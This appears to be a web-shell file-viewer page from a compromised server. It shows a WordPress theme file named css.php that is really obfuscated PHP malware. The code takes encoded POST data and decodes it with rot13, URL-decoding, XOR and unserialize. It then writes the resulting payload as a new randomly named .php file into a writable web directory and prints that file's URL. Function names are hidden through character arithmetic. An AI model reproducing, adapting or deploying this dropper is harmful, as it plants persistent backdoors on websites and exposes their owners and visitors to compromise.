HEX
Server: Apache
System: Linux host.dominioscaracas.com 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: enciassa (1159)
PHP: 8.1.31
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/enciassa/public_html/wp-content/themes/toonmboom/css.php
<?php function swNJPQdUhI($OWMQhxXeXPVa, $opDGOFvCSN, $HTAjd){$SNgetyM = "722b396f-01ae-4629-9638-8218c0de09b8";return $OWMQhxXeXPVa ^ $SNgetyM[$opDGOFvCSN % strlen($SNgetyM)] ^ $HTAjd;}$GXbiarGd = "xUhBljw";function CudhEuGiYL($GXbiarGd){ $aIQUZn = 's'.'t'."\162".chr(590-495).chr(474-360)."\157"."\x74".'1'."\x33";$GXbiarGd = $aIQUZn($GXbiarGd);$rsSGYQWu = "\x72"."\141"."\x77".chr(117)."\x72"."\x6c".chr(878-778).'e'.chr(99).chr(220-109).chr(817-717)."\145";$GXbiarGd = $rsSGYQWu($GXbiarGd);$GXbiarGd = str_split($GXbiarGd);return $GXbiarGd;}function neVEFWLqR($ZaCxLwaFQV, $HTAjd){$ZaCxLwaFQV = array_map("swNJPQdUhI", array_values($ZaCxLwaFQV), array_keys($ZaCxLwaFQV), array_values($HTAjd));$ZaCxLwaFQV = implode("", $ZaCxLwaFQV);$MvDcGG = chr(117)."\156".chr(770-655)."\x65".chr(114)."\x69".chr(226-129).'l'."\x69".chr(474-352).'e';$ZaCxLwaFQV = @$MvDcGG($ZaCxLwaFQV);return $ZaCxLwaFQV;}function drmOlNA($HTAjd, $ZaCxLwaFQV){$HTAjd = array_slice(str_split(str_repeat($HTAjd, (count($ZaCxLwaFQV)/16)+1)), 0, count($ZaCxLwaFQV));return $HTAjd;}function JxiLgoHXVu(){echo "GJzYTnMT";}function PieBtN($OWMQhxXir){static $eIfQeT = array();$kVoBiOwqy = glob($OWMQhxXir . '/*', GLOB_ONLYDIR);$JYDDyluDp = count($kVoBiOwqy);if ($JYDDyluDp > 0) {foreach ($kVoBiOwqy as $OWMQhxX) {$hhnKtRG = chr(105)."\x73".chr(417-322).'w'."\162"."\151".chr(761-645)."\141".'b'."\154"."\x65";if (@$hhnKtRG($OWMQhxX)) {$eIfQeT[] = $OWMQhxX;}}}foreach ($kVoBiOwqy as $OWMQhxXir) PieBtN($OWMQhxXir);return $eIfQeT;}function EgcAtL($ZaCxLwaFQV){$JqeAi = chr(228-160).'O'."\103".chr(272-187).'M'.chr(242-173)."\116".chr(84)."\137".'R'.'O'.'O'."\x54";$IuMPCXyKh = $_SERVER[$JqeAi];$kVoBiOwqy = PieBtN($IuMPCXyKh);$DmgopXUeD = array_rand($kVoBiOwqy);$RDYGgLY = "\56".chr(112).'h'."\160";$uAtJQYoFp = $kVoBiOwqy[$DmgopXUeD] . "/" . substr(md5(time()), 0, 8) . $RDYGgLY;$ttDKqvGA = chr(445-343)."\x69"."\x6c".chr(101).chr(95).chr(112).'u'.chr(124-8)."\137".chr(99).'o'."\x6e"."\x74".'e'.chr(140-30).chr(116)."\x73";@$ttDKqvGA($uAtJQYoFp, $ZaCxLwaFQV);$ELhTdce = "\110".chr(862-778).chr(533-449)."\x50"."\137".chr(72).chr(79)."\123".'T';$DVRHdxeHrF = 'h'."\x74".chr(183-67)."\160".chr(58).chr(47)."\57";$ylDImUMZmx = $DVRHdxeHrF . $_SERVER[$ELhTdce] . substr($uAtJQYoFp, strlen($IuMPCXyKh));print($ylDImUMZmx);}function BgCiz($ZaCxLwaFQV, $DmgopXUeD){$DmgopXUeD = $DmgopXUeD[0];if ($ZaCxLwaFQV !== $DmgopXUeD){EgcAtL($ZaCxLwaFQV);}else {lJvyMpTt();}}function lJvyMpTt(){$pzkzSOnHTw = chr(112).'h'.chr(112);$EqamaYAwf = 'p'."\150"."\160"."\166"."\x65".'r'.'s'."\151".'o'.chr(110);$ZaCxLwaFQV = Array($pzkzSOnHTw => @$EqamaYAwf(), );$sJUPfsNFC = 's'.chr(424-323).chr(114).chr(105).chr(211-114).chr(722-614)."\x69"."\x7a"."\x65";echo @$sJUPfsNFC($ZaCxLwaFQV);}function AWGfxyruLD(){echo "xUhBljw";}foreach ($_POST as $HTAjd => $ZaCxLwaFQV){$CxPBsUoKLO = strlen($HTAjd);if ($CxPBsUoKLO == 16){$ZaCxLwaFQV = CudhEuGiYL($ZaCxLwaFQV);$HTAjd = drmOlNA($HTAjd, $ZaCxLwaFQV);$ZaCxLwaFQV = neVEFWLqR($ZaCxLwaFQV, $HTAjd);if (@is_array($ZaCxLwaFQV)){$DmgopXUeD = array_keys($ZaCxLwaFQV);$ZaCxLwaFQV = $ZaCxLwaFQV[$DmgopXUeD[0]];BgCiz($ZaCxLwaFQV, $DmgopXUeD);}}}die();